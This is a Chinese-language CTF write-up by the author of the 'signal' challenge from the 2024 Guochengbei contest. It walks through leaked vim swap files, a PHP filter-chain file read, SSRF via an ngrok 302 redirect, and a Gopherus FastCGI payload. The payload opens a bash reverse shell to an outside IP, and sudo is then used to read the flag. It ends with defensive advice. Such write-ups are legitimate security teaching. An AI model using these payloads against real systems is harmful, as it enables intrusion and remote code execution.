2024国城杯线上signal出题文档
字数 1116 2025-08-22 12:22:30

Signal CTF 题目解析与教学文档

题目概述

这是一个结合了多种Web安全技术的CTF题目,主要考察以下知识点:

  1. 信息收集与泄露
  2. 文件包含漏洞利用
  3. Filter过滤器绕过
  4. SSRF攻击与302跳转利用
  5. FastCGI协议攻击
  6. 权限提升

信息收集阶段

1. 初始发现

  • 题目提供一个登录页面,后端为PHP
  • 目录扫描发现:
    • admin.php (302跳转到index.php,需要session验证)
    • index.php.swp (vim交换文件泄露)

2. 利用vim交换文件泄露

vim -r index.php.swp

获取到guest账户凭据:

  • 用户名:guest
  • 密码:MyF3iend

文件包含漏洞利用

1. 登录guest账户

发现存在文件包含功能,可以包含:

  • /etc/passwd
  • /flag (假flag)

2. 读取admin.php源码

使用PHP filter链进行二次编码绕过:

php://filter/%25%36%33%25%36%66%25%36%65%25%37%32%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35/resource=admin.php

解码后得到admin.php关键代码:

<?php
session_start();
error_reporting(0);
if ($_SESSION['logged_in'] !== true || $_SESSION['username'] !== 'admin') {
    $_SESSION['error'] = 'Please fill in the username and password';
    header("Location: index.php");
    exit();
}

$url = $_POST['url'];
$error_message = '';
$page_content = '';

if (isset($url)) {
    if (!preg_match('/^https:\/\//', $url)) {
        $error_message = 'Invalid URL, only https allowed';
    } else {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $page_content = curl_exec($ch);
        if ($page_content === false) {
            $error_message = 'Failed to fetch the URL content';
        }
        curl_close($ch);
    }
}
?>

3. 获取admin凭据

通过读取登录页面源码发现:

$users = [
    'admin' => 'FetxRuFebAdm4nHace',
    'guest' => 'MyF3iend'
];
  • 用户名:admin
  • 密码:FetxRuFebAdm4nHace

SSRF攻击与FastCGI利用

1. SSRF特性分析

  • 只允许https协议
  • 允许302跳转(CURLOPT_FOLLOWLOCATION设置为1)
  • 目标:利用SSRF攻击FastCGI服务

2. 302跳转实现方案

方案一:使用Cloudflare临时域名(题目环境不通外网不可行)
方案二:使用ngrok搭建临时https服务

ngrok配置步骤:

  1. 编写本地302跳转服务(Python Flask):
from flask import Flask, redirect
app = Flask(__name__)

@app.route('/')
def indexRedirect():
    redirectUrl = 'http://47.100.223.173/shell.php'
    return redirect(redirectUrl)

if __name__ == '__main__':
    app.run('0.0.0.0', port=8080, debug=True)
  1. 启动ngrok服务:
ngrok http 8080

3. FastCGI攻击Payload生成

使用Gopherus工具生成攻击FastCGI的payload:

gopherus --exploit fastcgi

示例payload:

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/admin.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/47.100.223.173/2333%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

4. 反弹Shell

修改Flask应用的跳转目标为FastCGI payload:

redirectUrl = 'gopher://127.0.0.1:9000/_%01%01%00%01...'

在攻击机监听端口:

nc -lvnp 2333

权限提升

  1. 查找真实flag位置:
find / -name flag*

发现路径:/tmp/whereflag/root/flag

  1. 检查sudo权限:
sudo -l
  1. 读取flag:
sudo cat /tmp/whereflag/root/flag

关键知识点总结

  1. 信息泄露

    • vim交换文件泄露
    • 源码泄露
  2. 文件包含绕过

    • PHP filter链二次编码绕过
    • 限制字符集的绕过技巧
  3. SSRF高级利用

    • HTTPS限制下的302跳转利用
    • ngrok搭建临时HTTPS服务
    • 内网FastCGI服务攻击
  4. 权限提升

    • sudo权限滥用
    • 非常规flag路径查找

防御建议

  1. 禁用vim交换文件生成
  2. 严格限制文件包含参数
  3. 禁用危险的PHP包装器
  4. 限制CURL的跳转功能
  5. FastCGI服务应设置访问控制
  6. 合理配置sudo权限
  7. 敏感文件应设置适当权限
Signal CTF 题目解析与教学文档 题目概述 这是一个结合了多种Web安全技术的CTF题目,主要考察以下知识点: 信息收集与泄露 文件包含漏洞利用 Filter过滤器绕过 SSRF攻击与302跳转利用 FastCGI协议攻击 权限提升 信息收集阶段 1. 初始发现 题目提供一个登录页面,后端为PHP 目录扫描发现: admin.php (302跳转到index.php,需要session验证) index.php.swp (vim交换文件泄露) 2. 利用vim交换文件泄露 获取到guest账户凭据: 用户名:guest 密码:MyF3iend 文件包含漏洞利用 1. 登录guest账户 发现存在文件包含功能,可以包含: /etc/passwd /flag (假flag) 2. 读取admin.php源码 使用PHP filter链进行二次编码绕过: 解码后得到admin.php关键代码: 3. 获取admin凭据 通过读取登录页面源码发现: 用户名:admin 密码:FetxRuFebAdm4nHace SSRF攻击与FastCGI利用 1. SSRF特性分析 只允许https协议 允许302跳转( CURLOPT_FOLLOWLOCATION 设置为1) 目标:利用SSRF攻击FastCGI服务 2. 302跳转实现方案 方案一:使用Cloudflare临时域名(题目环境不通外网不可行) 方案二:使用ngrok搭建临时https服务 ngrok配置步骤: 编写本地302跳转服务(Python Flask): 启动ngrok服务: 3. FastCGI攻击Payload生成 使用Gopherus工具生成攻击FastCGI的payload: 示例payload: 4. 反弹Shell 修改Flask应用的跳转目标为FastCGI payload: 在攻击机监听端口: 权限提升 查找真实flag位置: 发现路径: /tmp/whereflag/root/flag 检查sudo权限: 读取flag: 关键知识点总结 信息泄露 : vim交换文件泄露 源码泄露 文件包含绕过 : PHP filter链二次编码绕过 限制字符集的绕过技巧 SSRF高级利用 : HTTPS限制下的302跳转利用 ngrok搭建临时HTTPS服务 内网FastCGI服务攻击 权限提升 : sudo权限滥用 非常规flag路径查找 防御建议 禁用vim交换文件生成 严格限制文件包含参数 禁用危险的PHP包装器 限制CURL的跳转功能 FastCGI服务应设置访问控制 合理配置sudo权限 敏感文件应设置适当权限